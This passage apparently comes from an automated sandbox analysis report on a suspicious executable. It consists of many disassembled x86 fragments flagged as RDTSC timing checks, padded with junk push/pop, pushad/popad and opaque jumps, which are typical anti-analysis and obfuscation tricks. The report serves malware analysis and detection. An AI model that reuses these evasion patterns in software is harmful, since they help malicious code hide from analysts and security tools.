0x00000053 call 00007FC6DD08F798h 0x00000058 pop ecx 0x00000059 mov dword ptr [esp+04h], ecx 0x0000005d add dword ptr [esp+04h], 0000001Ch 0x00000065 inc ecx 0x00000066 push ecx 0x00000067 ret 0x00000068 pop ecx 0x00000069 ret 0x0000006a xchg eax, esi 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FC6DD08F7A5h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27EC9D second address: 27ECB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FC6DD698E56h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FC6DD698E5Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27ECB6 second address: 27ECBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27ECBA second address: 27ECD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6DD698E65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27EE37 second address: 27EE3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27EEFE second address: 27EF24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jl 00007FC6DD698E56h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 js 00007FC6DD698E61h 0x00000017 jmp 00007FC6DD698E5Bh 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 282F46 second address: 282F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FC6DD08F796h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288BDA second address: 288BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288385 second address: 2883A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2883A1 second address: 2883AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007FC6DD698E56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2883AD second address: 2883D9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6DD08F796h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FC6DD08F7A7h 0x00000012 jne 00007FC6DD08F796h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288543 second address: 288549 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288549 second address: 288560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f je 00007FC6DD08F796h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2886A1 second address: 2886B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC6DD698E56h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jng 00007FC6DD698E56h 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288800 second address: 288825 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC6DD08F7A7h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 288825 second address: 288829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CC8B second address: 28CC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CC8F second address: 28CCBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC6DD698E61h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CE4A second address: 28CE64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CE64 second address: 28CE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CF6D second address: 28CF77 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6DD08F79Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CF77 second address: 28CF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FC6DD698E5Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 28CF96 second address: 28CF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 293EA3 second address: 293ECA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007FC6DD698E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC6DD698E61h 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FC6DD698E56h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 293ECA second address: 293ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 293384 second address: 2933A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FC6DD698E60h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2934DD second address: 2934E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2934E3 second address: 2934F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2934F0 second address: 2934F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2934F4 second address: 293500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC6DD698E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 293500 second address: 29350A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29874B second address: 298751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298751 second address: 298757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298757 second address: 29875B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298F0E second address: 298F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298F14 second address: 298F53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FC6DD698E68h 0x00000015 popad 0x00000016 push ecx 0x00000017 jl 00007FC6DD698E56h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 299083 second address: 29908D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC6DD08F796h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29908D second address: 299096 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29934D second address: 299372 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FC6DD08F7A5h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 299372 second address: 299393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6DD698E66h 0x00000008 jnp 00007FC6DD698E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2994ED second address: 2994F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2994F2 second address: 2994F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298327 second address: 29832B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29832B second address: 298360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FC6DD698E58h 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 jmp 00007FC6DD698E65h 0x00000016 pop ebx 0x00000017 jno 00007FC6DD698E58h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298360 second address: 298366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298366 second address: 29836C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29836C second address: 298378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 298378 second address: 298392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E66h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29E0C9 second address: 29E0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CD42 second address: 26CD7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c js 00007FC6DD698E56h 0x00000012 jmp 00007FC6DD698E5Ah 0x00000017 popad 0x00000018 pop edi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e jng 00007FC6DD698E5Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CD7D second address: 26CD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC6DD08F7A1h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CD9B second address: 26CD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CD9F second address: 26CDB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CDB7 second address: 26CDBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CDBC second address: 26CDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F79Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007FC6DD08F7A2h 0x00000015 pop eax 0x00000016 movsx edx, bx 0x00000019 mov dword ptr [ebp+122D1F6Dh], eax 0x0000001f push 9929DF5Fh 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CEC7 second address: 26CED1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CF2F second address: 26CF34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26CF34 second address: 26CF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D159 second address: 26D163 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6DD08F79Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D26C second address: 26D270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D270 second address: 26D2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FC6DD08F798h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D26FEh], edi 0x00000027 push 00000004h 0x00000029 mov cx, 4D85h 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 push esi 0x00000031 js 00007FC6DD08F796h 0x00000037 pop esi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D2B1 second address: 26D2D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC6DD698E5Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D5FE second address: 26D604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D604 second address: 26D608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D608 second address: 26D62A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D30E6h], edx 0x00000013 push 0000001Eh 0x00000015 mov cl, ah 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FC6DD08F798h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D8E7 second address: 26D93C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FC6DD698E64h 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 jmp 00007FC6DD698E5Ah 0x0000001c jl 00007FC6DD698E5Ch 0x00000022 jns 00007FC6DD698E56h 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b pushad 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D93C second address: 26D959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC6DD08F796h 0x0000000a popad 0x0000000b push ebx 0x0000000c jc 00007FC6DD08F796h 0x00000012 pop ebx 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D959 second address: 26D960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D9F4 second address: 26D9F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D9F9 second address: 26D9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D9FF second address: 26DA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 movzx edx, bx 0x0000000b lea eax, dword ptr [ebp+1249856Dh] 0x00000011 xor edx, dword ptr [ebp+122D2AEBh] 0x00000017 pushad 0x00000018 mov cx, 44F7h 0x0000001c sub dword ptr [ebp+122D1F38h], eax 0x00000022 popad 0x00000023 nop 0x00000024 jl 00007FC6DD08F7A6h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007FC6DD08F79Ah 0x00000033 push esi 0x00000034 pop esi 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26DA4A second address: 26DA9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FC6DD698E58h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov edx, dword ptr [ebp+1248B97Dh] 0x0000002a lea eax, dword ptr [ebp+12498529h] 0x00000030 mov edi, 0B497A12h 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26DA9D second address: 26DAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29E9D4 second address: 29EA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD698E69h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FC6DD698E65h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jo 00007FC6DD698E56h 0x0000001a popad 0x0000001b popad 0x0000001c push edi 0x0000001d pushad 0x0000001e jmp 00007FC6DD698E67h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 29EA2F second address: 29EA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A2E0D second address: 2A2E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A75DF second address: 2A75E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A75E3 second address: 2A75FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E66h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A75FD second address: 2A7603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A7603 second address: 2A7608 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A7608 second address: 2A764F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC6DD08F796h 0x0000000a pop edi 0x0000000b jne 00007FC6DD08F7BBh 0x00000011 jmp 00007FC6DD08F79Dh 0x00000016 jmp 00007FC6DD08F7A8h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jl 00007FC6DD08F7A4h 0x00000023 pushad 0x00000024 jc 00007FC6DD08F796h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A77E2 second address: 2A77F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FC6DD698E5Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A7BD1 second address: 2A7BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A7h 0x00000009 rdtsc
